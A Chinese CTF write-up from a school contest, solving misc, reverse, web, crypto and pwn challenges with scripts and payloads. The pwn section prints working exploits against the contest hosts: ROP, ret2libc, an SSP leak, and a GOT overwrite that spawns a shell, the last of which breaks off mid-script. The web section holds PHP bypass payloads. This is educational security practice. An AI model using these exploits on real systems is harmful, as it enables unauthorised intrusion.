ISLab 结训赛 Writeup
本文最后更新于:2020年8月9日 早上
By: $SpaceSkyNet$
校内 ISLab 结训赛结束了,但是要写WP,所以我来复盘了(幸好每道题做的时候都截了点图,简单写了过程,手动狗头🐕)
总得来说,大部分题不难,但是有点坑(剩下的题就不会做了)……
MISC
只做出一道题(虽然只有两道)……
玩玩音频
下载附件:ハセガワダイスケ 菅野祐悟 - 杜王町Radio.wav hint:这么简单的题目,没有提示
flag格式:flag{XXX_XXX},词汇之间使用下划线分割,全部字母大写。遇到不认识的词汇就当成是一个好了。
放了一遍,听到了摩斯电码的声音,果断用Audacity打开(要用AE也不拦着),在默认波形图的右声道看见了摩斯电码,手动弄下来(以后还是写个脚本算了)

波形图右声道:-. .-- .--- --.. -.-- ...- -.. -.. ... -.-. --. .-. --.- -.. - --.- -..- . -.-. .-. -.- --. -.-- --- - --. .. .-.. ..-. --. -.-. .-.. .... .-- .. -.-- - .... ...- -.. -. -- -..- .-.. - .-- ..- --.. .--- -.-. --.- .- -- .-- ...- --. --.- .-- .-- .-. ...- .-.. -.-- ...- .--. ...- ..- -- -..- --.. ...- --.. . -... --. .-.. -...摩斯电码解密,得到:
NWJZYVDDSCGRQDTQXECRKGYOTGILFGCLHWIYTHVDNMXLTWUZJCQAMWVGQWWRVLYVPVUMXZVZEBGLB看起来毫无规律,继续找信息,在频谱图左声道发现信息。

频谱图左声道:KILLER QUEEN猜想KILLER QUEEN为某种密码的密钥,尝试多种后,确定是维吉尼亚密码。
但发现只有前面几个字母能组成单词,说明密钥应该没有空格,为KILLERQUEEN,得到:
DOYOUENJOYTHISIMGOINGTOGIVEUPMYHUMANIDENTITYJOJOFLAGISIWILLNEVERLIKEMORIOHCHO“人工智能”用下划线分词,得到(其实前半截不用管):
DO_YOU_ENJOY_THIS_IMGOING_TO_GIVE_UP_MY_HUMAN_IDENTITY_JOJO_FLAG_IS_I_WILL_NEVER_LIKE_MORIOHCHO最终得到flag:
flag{I_WILL_NEVER_LIKE_MORIOHCHO}(又是JOJO,我也是醉了)
RE
unpackme
rc4同学拿到了一个奇怪的可执行文件,你能帮帮他吗?
file命令一看,ELF x64,ida走起,发现有upx壳,直接脱了(其实正常操作是你先运行一遍,会提示你有upx壳)。
继续ida,定位到main函数,发现使用了rc4加密(其实看题面也知道)
将key(密钥)和pData(密文)复制出来,自己写个rc4(搜一个或者用现成的库也行)解密即可。
#include<stdio.h>
#include<time.h>
#include<string.h>
#include<stdlib.h>
#define MAX 65534
int S[256]; //向量S
char T[256]; //向量T
char Key[256] = "4C7AEB6C4B8640E59A7919B39BABAFE8";
int KeyStream[MAX]; //密钥
char CryptoText[MAX];
void init_S()
{
for(int i = 0; i < 256; i++)
{
S[i] = i;
}
}
void init_Key()
{
// 初始密钥
int keylen = strlen(Key);
for(int i = 0; i < 256; i++) //初始化T[]
{
T[i] = Key[i%keylen];
}
}
void permute_S()
{
// 置换S;
int j = 0;
for(int i = 0; i < 256; i++)
{
j = (j + S[i] + T[i]) % 256;
S[i]^=S[j]^=S[i]^=S[j];
}
}
void create_key_stream(int textLength)
{
// 生成密钥流
int i,j;
int t, k;
int index = 0;
i = j = 0;
while(textLength --) //生成密钥流
{
i = (i+1)%256;
j = (j + S[i]) % 256;
S[i]^=S[j]^=S[i]^=S[j];
t = (S[i] + S[j]) % 256;
KeyStream[index] = S[t];
index ++;
}
}
void Rc4EncryptText(int *text, int textLength)
{
//加密 && 解密
init_S();
init_Key();
permute_S();
create_key_stream(textLength);
printf("============开始解密============:\n");
for(int i = 0; i < textLength; i++)
{
CryptoText[i] = (char)(KeyStream[i] ^ text[i]); //加密
}
for(int i = 0; i < textLength; i++)
{
printf("%c", CryptoText[i]);
}
printf("\n============解密完成============\n");
}
int main()
{
int c[200] = {0x9, 0xF0, 0x44, 0x4A, 0xD9, 0xE7, 0x80, 0x13, 0xA6, 0x1E, 0x0F, 0x8C, 0xEB, 0x75, 0x29, 0x57, 0x3B, 0x4B, 0xEF, 0x46, 0x76, 0xD4, 0xFF, 0xB6, 0xEE, 0x0C, 0x71, 0x6B, 0x69, 0xC9};
Rc4EncryptText(c, 30);
system("pause");
return 0;
}编译运行得到flag:
flag{oh you know upx and rc4!}WEB
签到
皮虾乐队的贝斯手不见了
首先查看网页html源码,发现两个可疑字符串。
<!--{543557687D537D7B3372563D2A7E28566C7A405E564D6B565A54323F7534564D6C3068564D6C3061}-->
<!--543557687D537E474D71543341586F5354613F34563E34604B576D484F66573E47796F-->长度都为偶数,首先想到hex转str,得到下面两个字符串。
T5Wh}S}{3rV=*~(Vlz@^VMkVZT2?u4VMl0hVMl0a
T5Wh}S~GMqT3AXoSTa?4V>4`KWmHOfW>Gyo有点奇怪,不是常见的加密方式,但是看到题面,应该是属于base家族的,多试几个,突然想起python的b85decode,解密得到了两个base64字符串。
ZmxhZ19pc19ub3RfaGVyZV9oaGhoaGhh
ZmxhZ3t2ZXJ5X2Uyc3lfeTJzfQ==解密,得到flag(第二行):
flag_is_not_here_hhhhhha
flag{very_e2sy_y2s}(我出的链接)iscc题里面也有base85,大家可以试试
速度要快
Ash是一名爆破专家,是一名突破手
打开网站,发现是道php代码审计题。
//index.php
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ezpass';
}
if($_SESSION['time']+5<time()){
session_destroy();
}
$Ash = $_REQUEST['Ash'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
if($_SESSION['whoami']==($Ash[0].$Ash[1]) && substr(md5($Ash),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
if($_SESSION['nums']>=20){
echo $flag;
}
show_source(__FILE__);
?>要求:
$5$秒钟之内让
$_SESSION['nums']计数达到$20$。$Ash[0].$Ash[1]要和$_SESSION['whoami']相等,$_SESSION['whoami']第一次是ezpass,后面为随机生成长度为2的小写字母字符串并输出,每次修改。substr(md5($Ash),5,4)==0可以用数组绕过,且不影响$Ash[0].$Ash[1]
所以思路很清晰,写个python脚本爆破就行(如果你手速跟得上当我没说)
import requests,time
website = 'http://xiabee.cn:10001' #对应题目地址
url = "{}/?Ash[]=ezpass".format(website)
s = requests.Session()
start = time.time()
r = s.get(url)
for i in range(25):
url = "{}/?Ash[]=".format(website) + r.content[0:2].decode()
r = s.get(url)
if i > 20:
print(i, r.url, r.content[:100], r.content[-100:])
end = time.time()
print('Time:{}s'.format(end - start))运行得到flag:
flag{boom_ez_j7st_d01t!}(其实我还想写个Julia脚本来着的,不过python速度够了)
PHP真爱粉
PHP是世界上最好的语言(吗
打开网站,发现仍然是道php代码审计题。
//index.php
<?php
highlight_file(__FILE__);
include('flag.php');
if ($_GET['xiao'] > 99999999 && strlen($_GET['xiao']) < 5)
echo "Well Done!".'<br>';
if (isset ( $_GET ['yu'] )) {
$yu = $_GET ['yu'];
if (is_numeric($yu))
die('Wrong Input!');
else{
switch ($yu) {
case 0 :break;
case 1 :break;
case 2 :echo "$flag";break;
default :echo "azhe?";break;
}
}
}
?> 发现只要绕过is_numeric并让switch认为$yu是$2$就ok,所以直接异或绕过。
payload:http://xiabee.cn:10003/?yu=2^0得到flag:
flag{p1h_1s_s0_ez}Trick trick
一个反序列化的小trick
打开网站,结果还是道php代码审计题,不过是反序列化的。
<?php
error_reporting(0);
include "class.php";
highlight_file(__FILE__);
if (isset($_GET['last'])) {
$last = $_GET['last'];
if (!stristr($last, "flag")) {
unserialize($last);
echo "<br>"."you find it";
// class is getF: public key
// must key="flag"
}
}
?>如果没有stristr过滤flag,payload如下:
O:4:"getF":1:{s:3:"key";s:4:"flag";}过滤了其实也简单,因为序列化格式中使用S就可以有16进制字符,所以修改过的payload如下(具体可见这里):
O:4:"getF":1:{s:3:"key";S:4:"\66lag";}得到flag:
flag{unserialize_have many_tricks!}头等舱
还记得10.0.0.55的备用地址是什么吗
看题面应该是个需要修改请求头的WEB题,所以先用Burp Suite抓包。
首先提醒Wrong Method!,说明请求的方式不对,试了几个,发现PUT请求是正确的。
接着是GG browser is so Great!,说明需要修改UA,尝试修改为GG,正确。
然后是Only localhost can access.,说明需要修改Referer,改为127.0.0.1,正确。
最后是must jump from 10.0.0.55, but it seems down.,说明需要修改X-Forwarded-For,并且是备用地址,改为10.0.0.53。

得到flag:
flag{eeeeaaaasyyyyy_ch2nge}(剩下一道做不来了)
CRYPTO
babyRSA
simple rsa
n = 2175688405733541703870452086626738401792220260185622845647
e = 0x10001
c = 909189959980475048848571460773306576585339198658788147448
入门RSA,而且$n$如此短,直接上factordb.com。
然后……我们得到了3个质数?emm……$3$个?!
的确有点怪,但是去搜搜多素数RSA,还真有,具体可看多素数RSA系统简介。
所以一样算$\phi(n)$,由欧拉函数的积性,可得$\phi(n) = \phi(p) \times \phi(q) \times \phi(r)$($p,q,r$为分解出的质数)
即$\phi(n) = (p-1) \times (q-1) \times (r-1)$
然后和普通的RSA一样求模逆得到$d$,然后去解密$c$即可。
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import gmpy2
n = 2175688405733541703870452086626738401792220260185622845647
p, q, r = 12174597259764339563, \
12211006709935453691, \
14634929140319987959
phi_n = (p - 1) * (q - 1) * (r - 1)
e = 0x10001
c = 909189959980475048848571460773306576585339198658788147448
d = gmpy2.invert(e, phi_n)
M = bytes.fromhex(hex(pow(c,d,n))[2:])
print(M.decode())得到flag:
flag{RsA_s0_3asiii!}Random
老师说计算机里的随机数都是伪随机数
给了一个Python脚本,分析一下。
import random
import socketserver
from Crypto.Util import number
import os
flag = os.environ.get('flag', 'flag{test_flag}')
class EncryptHandler(socketserver.BaseRequestHandler):
p = 1543
iv = 792
def encrypt(self, m: list):
self.r1.seed(self.r1_key)
self.r2.seed(self.r2_key)
res = []
w = self.iv
for i in m:
w = ((i + w + self.r1.randrange(0, self.p)) % self.p) * self.r2.randrange(0, self.p) % self.p
res.append(w)
w ^= self.random_key
return res
def setup(self):
self.random_key = random.randrange(0, self.p)
self.r1_key = random.randrange(0, self.p)
self.r2_key = random.randrange(0, self.p)
self.r1 = random.Random()
self.r2 = random.Random()
self.enc_flag = self.encrypt(list(flag.encode()))
def handle(self):
hello_msg = ('Hello, here gives you the encrypted Flag:\n'
'{}\n'
'You can type any msg, and I will give you the encrypted message\n'
).format(self.enc_flag)
self.request.sendall(hello_msg.encode())
while True:
msg = self.request.recv(1024)[:-1]
self.request.sendall((str(self.encrypt(msg)) + '\n').encode())
if __name__ == '__main__':
HOST, PORT = '0.0.0.0', 12001
with socketserver.ThreadingTCPServer((HOST, PORT), EncryptHandler) as server:
try:
server.serve_forever()
except KeyboardInterrupt:
server.shutdown()交互式的Crypto题,每次的keys都不一样,但是每次可以无限次交互,得到自己输入的密文。
同时发现每次调用encrypt时,随机数种子都重新设置,就像题面说的,计算机里的随机数都是伪随机数,一旦每次的随机数种子一定,则不断调用randrange生成的随机数序列也一定,所以可以通过无限次交互爆破flag。
同时发现encrypt的算法与字符串整体无关,只与局部某一位上的字符有关,所以爆破的次数复杂度是满足加法原理的。
设flag字符串长度为$n$,可打印字符的个数为$charCounts$,即我们最多爆破$n \times charCounts$次(其实也就接近$2000-3000$次,还是往多了算)。
而且我们发现flag字符串满足flag{xxx}的结构,所以我们可以少爆破$6$个字符。
用pwntools的交互功能写出Python脚本。
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
import os
__dir__ = os.path.dirname(__file__)
chars = r'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_+-*/\?><.,=!@#$%^&()[]{}~`;:'
context.log_level = 'debug'
io = remote('txcloud-bj3.felinae98.cn', 12001)
io.recvuntil('Hello, here gives you the encrypted Flag:\n')
r = io.recv().split(b'\n')[0]
flag_en = eval(r)
#print(r, flag_en)
flag_len = len(flag_en)
flag_str = 'flag{'
io.sendline(flag_str)
assert(eval(io.recv().split(b'\n')[0]) == flag_en[:len(flag_str)])
for i in range(len(flag_str), flag_len - 1):
for c in chars:
io.sendline(flag_str + c)
r = eval(io.recv().split(b'\n')[0])
if r[i] == flag_en[i]:
flag_str += c
break
flag_str += '}'
io.sendline(flag_str)
assert(eval(io.recv().split(b'\n')[0]) == flag_en)
print(flag_str)
io.close()爆破得到flag:
flag{S1mpLest_cRyp0!}Small e
这次分解不了了
仍然是RSA,不过这次的$n$过大,没法分解,但是$e$很小,为$3$,且有$3$组不同$n$以及对应的密文,所以可以使用Hastad广播攻击。
具体原理见CTF中的RSA基本套路(4)及其参考资料。
代码如下(这里使用Sage,需要自己安装,稍微有点大):
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from sage.all import PolynomialRing, ZZ, Zmod, crt, reduce
Cs = [9879971463914625690975893241580185387981496369356734957012721513373144938753569045503323744985869516225432489622517950293366904764152664636972215860898639778481845669980292323448545868723176321988532040102362409575435129737188286227622375002577654117407187235639039788403421568330907783489740293783760374579674272228953702822209345735718037784007905107507640441789566148023418182843850856028272425280660185409774791229291736804113219546032069271224441643592470352853688723172019556711071350797050854277490132448056258928350601925843959503438270798312618141538795176843674864017991973083157087900179066637653967471786, \
18601174471639330838673755997627097179717053665843260588739160926694895023115719989743218032177933064024790567417281962648968287556842258818888225805040849173826497707326525590383774570277339562504216146208571367319040674013938991326596042075188486353554578994481344994910413567203491400010042812019323116569805264327599429345975064505984904064402357370098622911816024581171930600566133580491190247014980742239289588062485016239992005485018607729737084787372336151888759198583123570341162243303928994460199822642294565067160393816192370390199699022295478284192467413238687379911409873590966380239175755869062503249758, \
16232129131608810282413937706144487240626338624250308577834225698445782468881682329646696899789457330498386668165599055270602304521900866238477820450745745574235835329025428831975135564432471301944638869445512637388111199953848153394755434332731325017811903037131194504517921570433491911858368670794242170207150194844396867824699460595352243616284981999437646934978307049377044110514736105768616893202608779347282837560546402961227548577594166063494153158225233408919063945070416486278018607780042733335959208255707942063870095648981102997015240784176457028384300754675188591655968245197618705494443537255712721037015
]
Ns = [16067817932594307041570490664780805848472742222521209486359183294876659529608435557600537260250449433611595173684925374508467672404417859479495004093579610726032262914323802262015761804257474778421075371915604733039622965481151880946821099347099589181944483948769906556017986079391359211585782596464924468208449010284942962635113163737362978946256184113197172628780615797285233916435176242221439390878162794629364484926505774613228229646458189210171950867198879934364120504046273177961083687027937189811732509344365844834160229805810205081446686611488115226014344875552419979932806334691942178914927653481984541110621, \
27220804436805864442162182442813759263069372128468811270228757759122242102746634331274204813645700606025198464757315069476396636457109385709010309093761124250367793217269514777894950749932026790104944920542415154470272710654996775902535083921322900858510081080526361203971974235685839596700898966986819478871421472486198215667112358892381840624555494963218129513959117765033488219148477371667129956523403726492811804971592929874287476692563269065787601147950636445646208059251015601569921025370871805357871922113088791024382926047840273911791193990034677955545643860434985638900984527560552087922124397003230357748287, \
18003911632122599813425550392025295318460144538002420546091473342504066065913374478380723966510863927323450160422323963085439934919821408030000597030220444017446677275520530600602313223716913843706289020789546341254298514327568202682323289952838243830866298465249322960573348784191060837060844553425424656343221015762038900638842760791476620770787585512880263777811650363550291113188707834451876652168342500756621692207745249699478983220317963165032407100517970067554347460807373078643124640438035329791669756566825583763144347915561928759654089817337965531158175165510730703911869587267266225122572337924741504872421
]
e = 3
# solve
cnt = e
PR = PolynomialRing(ZZ, 'x')
x = PR.gen()
Fs = []
for i in range(cnt):
f = PR(x ** e - Cs[i])
ff = f.change_ring(Zmod(Ns[i]))
ff = ff.monic()
f = ff.change_ring(ZZ)
Fs.append(f)
F = crt(Fs, Ns)
M = reduce(lambda x, y: x * y, Ns )
FF = F.change_ring(Zmod(M))
m = FF.small_roots() # LLL
if m:
m = hex(int(m[0]))[2:].strip('L')
print(bytes.fromhex(m))
else:
print('no ans')运行得到flag:
flag{L0w_exp_1s_dAng3r!}babyDES
一个超级简化版的DES,哪里出了问题
又给了一个Python脚本,分析一下。
import os
import base64
from Crypto.Util import number, strxor
from flag import flag
assert(len(flag) == 34)
def gen_key():
return [os.urandom(17) for _ in range(8)]
def rnd(x: bytes, k: bytes):
assert(len(x) == 34)
l = x[:17]
r = x[17:]
_r = l
_l = strxor.strxor(strxor.strxor(r, k), l)
return _l + _r
def enc(x: bytes, keys):
res = x
for i in range(8):
res = rnd(res, keys[i])
return res
if __name__ == '__main__':
test = os.urandom(34)
keys = gen_key()
enc_test = enc(test, keys)
enc_flag = enc(flag.encode(), keys)
print(base64.b64encode(test).decode())
print(base64.b64encode(enc_test).decode())
print(base64.b64encode(enc_flag).decode())这个DES简化的过于厉害,我们发现rnd中的操作其实 等效于 $l$和$r$不断交换并异或,最后再和所有key的异或值异或。
所以我们并不需要知道所有key,我们只需要知道所有key的异或值即可。
而且我们已经有了一组明文和密文,所以就可以很容易得到所有key的异或值,从而解密enc_flag。
import os
import base64
from Crypto.Util import strxor
def rnd_nokey(x: bytes):
assert(len(x) == 34)
l = x[:17]
r = x[17:]
_l = r
_r = strxor.strxor(r, l)
return _l + _r
def dec_nokey(x: bytes):
res = x
for i in range(8):
res = rnd_nokey(res)
return res
if __name__ == '__main__':
test = base64.b64decode('w4C2TsB73uEIwk14cvQMP9m/nakb+Wh1ZvF70o6BZuHy9w==')
enc_test = base64.b64decode('5+AplczBBKDQCWgudMjj8sLxU1K5mvFS7JS9xg1QdFxiJg==')
flag_enc = base64.b64decode('L03S5WraHoNkN//llN17IUicEn7gh9elR1s1L9KduKa9AQ==')
keys = strxor.strxor(dec_nokey(enc_test), test)
flag = strxor.strxor(dec_nokey(flag_enc), keys)
assert(len(flag) == 34)
print(flag)运行得到flag:
flag{F3ist3l_-n3tw0Rk_soEEEEEasy!}babyHash
一个优秀的哈希函数要做到抗碰撞哦,老师说用了Merkle–Damgård结构的哈希函数,只要压缩函数抗碰撞,本身就可以抗碰撞
仍然给了一个Python脚本,分析一下。
import socketserver
from Crypto.Util import number
import itertools
from flag import flag
class HashHandler(socketserver.BaseRequestHandler):
iv = b'"[\xc3\x02D( \xf1'
def __padding(self, x: bytes):
if len(x) % 8:
pad_len = 8 - len(x) % 8
return x + bytes([pad_len] * pad_len)
else:
return x
def __compress(self, x: bytes):
num = number.bytes_to_long(x)
r = pow(num, 361268568442343347925, 664882992644331722007361840306123225067) & (2 ** 128 - 1)
m = int(bin(r)[2::2], 2)
s = m ^ (num >> 64)
return number.long_to_bytes(s)
def md(self, m: bytes):
m = self.__padding(m)
h = self.iv
for i in range(0, len(m), 8):
subm = m[i: i+8]
h = self.__compress(h + subm)
return h
def handle(self):
self.request.sendall(b'input a: ')
a = self.request.recv(1024)[:-1]
self.request.sendall(b'input b: ')
b = self.request.recv(1024)[:-1]
if a != b and self.md(a) == self.md(b):
self.request.sendall((flag + '\n').encode())
else:
self.request.sendall(b'nononono')
if __name__ == '__main__':
HOST, PORT = '0.0.0.0', 12002
with socketserver.ThreadingTCPServer((HOST, PORT), HashHandler) as server:
server.serve_forever()又是交互式的Crypto题,需要输入$a$, $b$,只要$a$, $b$不相等且$a$, $b$的hash值相等就得到flag。
发现__compress函数应该抗碰撞,但是发现__padding太简单,很容易构造出来符合题意的(但是我卡了半天),比如:
a = b'\x00' * 7
b = b'\x00' * 7 + b'\x01' * 1所以用pwntools的交互功能把$a$, $b$发过去再接收就可以得到flag:
flag{pAdding_15_v3rY_1mp0rtant}(可以看看这些)
(剩下一道做不来了…………小山是看了wyxdl的WP后写出的)
小山
哪怕老师听不懂你的想法,也不要用黑板擦砸他
还是一个Python脚本,分析一下。
from flag import flag
from Crypto.Util import number
code = [] # 为 272 个大数,为节省空间就不写了
assert(len(flag) == 34)
m = number.bytes_to_long(flag.encode())
c = 0
for s in code:
temp = s & m
res = 0
while temp:
res ^= (temp & 1)
temp >>= 1
c *= 2
c += res
print(c)将code中的每一个作为掩码,和m&得到的temp去计算二进制有奇数还是偶数个1,结果存在c中……如果多想点,其实不就是个异或的线性方程组吗……
flag的每一个二进制位作为未知数,code的每个数的二进制每位作为一个方程的系数,c的二进制每位作为每个方程的右端的值,然后高斯消元就可以了……
代码如下(借用了下wyxdl的高斯消元,稍微修改简洁了一点):
#!/usr/bin/python
# -*- coding: utf-8 -*-
from consts import code, c # 大数 code, c 置于 consts.py 文件中
import os
def intTo01List(x: int): #整数转为01列表
bin_x = bin(x)[2:]
list_x = list(map(int, bin_x))
return list_x
def codeToMatrix(code, c):
coeff = []
list_c = intTo01List(c)
max_col_len = 0
for i, s in enumerate(code):
list_s = intTo01List(s)
list_s.append(list_c[i])
max_col_len = max(len(list_s), max_col_len)
coeff.append(list_s)
for i, s in enumerate(coeff): # 二进制位数补齐
len_s = len(s)
if len_s < max_col_len:
s = [0] * (max_col_len - len_s) + s
coeff[i] = s
return coeff
def Gauss(Row: int, Column: int, A: list):
row, col, max_r = 0, 0, 0
X_Ans = [0 for _ in range(272)]
while row < Row and col < Column:
max_r = row
for i in range(row + 1, Row): # 找出当前列最大值
if (A[i][col]) > (A[max_r][col]): max_r = i
if max_r != row: # 交换
A[row], A[max_r] = A[max_r], A[row]
for i in range(row + 1, Row): # 消元
if A[i][col] == 0: continue
for j in range(col, Column + 1):
A[i][j] ^= A[row][j]
row += 1
col += 1
for i in range(row, Row): # 无解
if A[i][Column] != 0:
return -1, 0
if row < Column: # 无穷多解
return Column - row, 0
for i in range(Column - 1, 0 - 1, -1):
X_Ans[i] = A[i][Column]
for j in range(i + 1, Column):
X_Ans[i] ^= A[i][j] & X_Ans[j]
return 0, X_Ans
if __name__ == "__main__":
AMatrix = codeToMatrix(code, c)
retCode, Ans = Gauss(272, 272, AMatrix)
if retCode != 0: os._exit(0)
ans = ''
for i in range(272):
ans += str(Ans[i])
ans = hex(int(ans, 2))[2:]
if len(ans) % 2: ans = '0' + ans
print(bytes.fromhex(ans).decode())运行得到flag:
flag{Y0u_ar3_tHe_maSTer_0f_CRYPTO}(这个扔黑板擦的是伽罗华)
PWN
qiandao-pwn
checksec发现是64位ELF且只开启了NX保护。
ida分析,发现main函数和一个sh函数,main函数里有gets,存在栈溢出漏洞。

发现sh函数需要传入一个str字符串与meow一致才能getshell,所以用ROPgadget找到pop rdi ret的gadget,让rdi指向meow字符串的地址,再调用sh函数getshell。
脚本如下:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
import os
__dir__ = os.path.dirname(__file__)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
pwn_file = os.path.join(__dir__, 'qiandao')
elf = ELF(pwn_file)
#io = process(pwn_file)
io = remote('everything411.top', 10014)
pop_rdi_ret = 0x401263
str_addr = 0x402004
rand_val = 0xdeadbeefdeadbeef
sh_addr = elf.symbols['sh']
payload = b'a' * 0x100 + p64(rand_val) + \
p64(pop_rdi_ret) + p64(str_addr) + \
p64(sh_addr)
io.sendline(payload)
io.interactive()
io.close()交互得到flag:
flag{701ee0aa-4b7e-4b56-b139-e5bf13cfb6a3}qiandao2
do you know one_gadget?
checksec发现仍然是64位ELF且只开启了NX保护。
ida分析,发现main函数和一个sh函数(这个没用),main函数里有gets,存在栈溢出漏洞。
题目说用one_gadget,但是由于做题时某些原因网不好,ruby也没安装,所以自己简单构造了ROP链搞定。
不管one_gadget还是自己构造ROP链,首先得泄露一个libc的函数,减去偏移得到libc的基地址。
整体过程:
找到
pop rdi ret的gadget,gets栈溢出泄露libc_start_main_got并返回main函数开头以继续利用栈溢出。减去偏移得到
libc的基地址,计算system和/bin/sh地址。再次
gets栈溢出getshell。
代码如下:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
import os
__dir__ = os.path.dirname(__file__)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
pwn_file = os.path.join(__dir__, 'qiandao2')
libc = ELF(os.path.join(__dir__, 'x64_libc.so.6'))
elf = ELF(pwn_file)
#io = process(pwn_file)
io = remote('everything411.top', 10015)
puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main_addr = elf.symbols['main']
pop_rdi_ret = 0x401233
offset = 0x100
rand_val = 0xdeadbeefdeadbeef
payload = b'a' * offset + p64(rand_val) + \
p64(pop_rdi_ret) + p64(libc_start_main_got) + \
p64(puts_plt) + \
p64(main_addr)
io.sendline(payload)
r = io.recv().ljust(8, b'\x00')
print(r)
libc_start_main_addr = u64(r[:8])
print(hex(libc_start_main_addr))
libcbase = libc_start_main_addr - libc.symbols['__libc_start_main']
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))
print(hex(system_addr - libcbase), hex(binsh_addr - libcbase))
payload = b'A' * offset + p64(rand_val) + \
p64(pop_rdi_ret) + p64(binsh_addr) + \
p64(system_addr)
io.sendline(payload)
io.interactive()
io.close()交互得到flag:
flag{36bf0a9b-f5e1-43da-a501-de021b0dd182}let’s overwrite
服务器上的可执行文件除了flag文本的本身内容不同以外,其他都完全相同
tips: stderr is available, beware of the output. no need to get a shell.
checksec发现还是是64位ELF,但是开启了NX和Canary保护。
ida发现并没有什么可以泄露Canary的办法,而且看题面和ELF程序名称,知道是SSP leak,flag就在str字符串开头,我们只需要用某个保存flag地址覆盖libc_argv[0]通过__stack_chk_fail的错误信息就可以得到flag了。
不过,关键是哪个地址呢?我们gets时就覆盖了flag,而且也没找到它的副本(反正我没找到)……

不过……还有个地方,就是给str赋值的汇编代码段,那里是固定的,而且代码段.text一定可读,所以我们就泄露汇编的hex字符串吧,删掉汇编指令的hex字符,就可以得到flag
代码如下:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
import os
__dir__ = os.path.dirname(__file__)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
pwn_file = os.path.join(__dir__, 'ssp')
elf = ELF(pwn_file)
io = process(pwn_file)
io = remote('everything411.top', 10098)
mov_flag_addr = 0x4011FD #0x4011B9
#gdb.attach(io)
io.sendlineafter('let\'s overwrite the flag\n', p64(mov_flag_addr) * 200)
print(io.recv())
io.sendline()
io.interactive()
io.close()泄露两次(0x4011FD、0x4011B9)拼接得到的字符串:
b'H\xb8flag{oohH\xba_you__knH\x89\x85\xf0\xfe\xff\xffH\x89\x95\xf8\xfe\xff\xffH\xb8ow_!!_??H\xba_ssp_leaH\x89\x85H\xc7\x85\x10\xff\xff\xffk!!}H\xc7\x85\x18\xff\xff\xff'删掉汇编指令的hex字符,得到flag:
flag{ooh_you__know_!!_??_ssp_leak!!}C-programming-homework
类型转换的魔法
checksec发现依旧是64位ELF且只开启了NX保护。
同时附送了C源码,分析一下:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
long long stack[0x100]; // 栈
int p; // 栈顶,栈只有0x100长度,用int好了
long long pop()
{
return stack[--p];
}
void push(long long s)
{
stack[p++] = s;
}
void setp(long long s)
{
p = s;
}
int main(int argc, char const *argv[])
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
char str[100];
long long s; // 试一试刚学的long long
while (1)
{
fgets(str, 50, stdin);
if (!strcmp(str, "pop\n") )
{
if (p == 0)
{
puts("stack empty!");
continue;
}
s=pop();
printf("%#llx\n", s);
}
else if (!strcmp(str, "push\n"))
{
if (p>=0x100)
{
puts("stack full!");
continue;
}
scanf("%llx", &s);
getchar();
push(s);
}
else if (!strcmp(str, "setpointer\n")) // 调试用
{
scanf("%llx", &s);
getchar();
if (s < 0) // 不能是负数!
{
puts("no negative number allowed!");
continue;
}
setp(s);
}
else if (!strcmp(str, "exit\n"))
{
puts("bye");
exit(0);
}
else
{
puts("error");
}
}
return 0;
}通过分析和题面,我们可以通过long long到int类型转换的魔法,通过setpointer将p变为负数,通过其它操作读取,修改stack。
//可以通过下面程序试验一下
#include<stdio.h>
int main()
{
int c = 0;
long long d = (~0U) + 1ll;
c = d;
printf("%d %lld\n", c, d);
return 0;
}所以我们有了负数的p可以干什么?由于ELF文件里bss段的地址比got段高,所以我们可以通过操作负数的p来泄露一个libc的函数,减去偏移得到libc的基地址,并修改一个libc的函数(分析发现我们可以修改strcmp)的got表使它指向system/execv。
整体过程:
- 先执行一次
pop操作,使puts_got绑定libc中的地址(如果泄露setbuf就可以不用进行这个操作)。 - 通过计算
stack首地址与puts_got的距离,使用setpointer使负数的p指向puts_got + 1(因为pop操作是--p),并用pop操作得到puts_got。 - 减去偏移得到
libc的基地址,计算system地址。 - 计算
stack首地址与strcmp_got的距离,使用setpointer使负数的p指向strcmp_got,并用push操作修改strcmp_got指向system。 - 再次传入
/bin/sh,成功getshell
代码如下:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
import os
__dir__ = os.path.dirname(__file__)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
pwn_file = os.path.join(__dir__, 'homework')
libc = ELF(os.path.join(__dir__, 'x64_libc.so.6'))
elf = ELF(pwn_file)
# io = process(pwn_file)
io = remote('everything411.top', 10013)
puts_got = elf.got['puts']
strcmp_got = elf.got['strcmp']
stack_array_addr = elf.symbols['stack']
int_over_num = 4294967296 # -> 0
# print(hex(puts_got), hex(stack_array_addr))
# gdb.attach(io)
io.sendline('pop') # p = 0, let puts_got get libc addr
# leak libc_puts_addr
io.sendline('setpointer')
io.sendline(hex(int_over_num + 1 - (stack_array_addr - puts_got) // 8)[2:]) # pop -> --p ,so +1
io.sendline('pop')
io.recvuntil('stack empty!\n')
r = io.recv().split(b'\n')[0]
libc_puts_addr = int(r, 16)
print(r, libc_puts_addr)
# calc system_addr
libcbase = libc_puts_addr - libc.symbols['puts']
system_addr = libcbase + libc.symbols['system']
# modify strcmp_got -> libc system
io.sendline('setpointer')
io.sendline(hex(int_over_num - (stack_array_addr - strcmp_got) // 8)[2:])
io.sendline('push')
io.sendline(hex(system_addr)[2:])
# use str
io.sendline('/bin/sh')
